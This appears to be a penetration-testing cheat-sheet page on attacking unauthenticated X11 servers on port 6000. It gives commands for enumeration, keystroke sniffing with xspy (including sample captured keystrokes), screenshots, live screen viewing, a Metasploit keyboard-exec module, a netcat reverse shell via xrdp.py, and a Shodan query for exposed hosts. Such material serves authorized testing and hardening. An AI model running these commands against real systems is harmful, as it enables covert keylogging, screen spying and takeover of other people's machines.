# 6000 - Pentesting X11

## Basic Information

The X Window System (aka X) is a windowing system for bitmap displays, which is common on UNIX-based operating systems. X provides the basic framework for a GUI based environment. X also does not mandate the user interface – individual programs handle this.\
From: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)

**Default port:** 6000

```
PORT       STATE   SERVICE
6000/tcp   open    X11
```

## Enumeration

Check for **anonymous connection:**

```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```

## Verfy Connection

```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```

## Keyloggin

[xspy](http://tools.kali.org/sniffingspoofing/xspy) to sniff the keyboard keystrokes.

Sample Output:

```
xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```

## Screenshots capturing

```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```

## Remote Desktop View

Way from: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)

```
./xrdp.py <IP:0>
```

Way from: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)

First we need to find the ID of the window using xwininfo

```
xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0
```

**XWatchwin**

For **live viewing** we need to use

```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```

## Get Shell

```
msf> use exploit/unix/x11/x11_keyboard_exec
```

Other way:

**Reverse Shell:** Xrdp also allows to take reverse shell via Netcat. Type in the following command:

**./xrdp.py \<IP:0> –no-disp**\
****

![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX15.jpg)

It will prompt a new control pane where we can see the R-shell option, which is illustrated below:

![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX16.jpg)

We will start the Netcat listening mode in our local system on port 5555, which is illustrated below:

![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX17.jpg)

Then add the IP and port and then select R-Shell, which is illustrated below:

![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX18.jpg)

Now as can be seen below we have complete system access:

![](https://mk0resourcesinfm536w.kinstacdn.com/wp-content/uploads/112217\_0051\_ExploitingX19.jpg)

{% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %}

## Shodan

* `port:6000 x11`